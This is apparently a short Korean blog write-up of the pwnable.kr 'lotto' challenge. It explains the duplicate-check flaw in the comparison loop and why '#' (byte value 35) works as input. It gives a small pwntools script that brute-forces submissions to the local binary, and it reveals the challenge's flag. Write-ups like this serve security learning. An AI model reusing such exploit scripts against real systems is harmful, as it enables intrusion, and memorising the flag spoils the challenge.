System Hacking

[pwnable.kr] lotto

BIGFROG 2020. 1. 9. 17:57

exploit코드를 /tmp에 디렉토리만들고 짜고,
심볼릭링크로 flag 걸어주고
익스플로잇 성공.

 


코드 취약점이 있었음.
for문을 6번만 돌려야 하는데 36번 돌리면서
1가지 숫자만 알더라도 뚫을 수 있음.

노가다해도되는데 pwntool 연습할겸 코드 짜서 넣었고,
금방 exploit성공

from pwn import *

target = process("/home/lotto/lotto")

for i in range(20):

        print(target.recvuntil("3. Exit\n"))

        target.sendline(str(1))

        print(target.recvuntil("Submit your 6 lotto bytes : "))

        msg = "######"

        target.sendline(str(msg))

        target.recvline()



특히, unsigned char로 초기화되는 변수가 lotto,submit인데,
lotto를 1~45사이의 숫자로 만드는 과정에서 정수 값이 char형에 들어가게 된다.
해당 정수 값에 대응되는 문자가 lotto변수에 저장될 것이므로,

우리는 submit에 해당 문자를 입력해줘야 비교가 된다.
1~9 사이의 숫자문자는 아스키코드표에 10진수로 49이상이므로, 범위가 절대 안겹친다.

우리는 char형 문자가 갖는 숫자가 1~45인 것을 입력해줘야 한다.
예를들면 #은 10진수로 35이므로 해당된다.



flag:
sorry mom... I FORGOT to check duplicate numbers... :(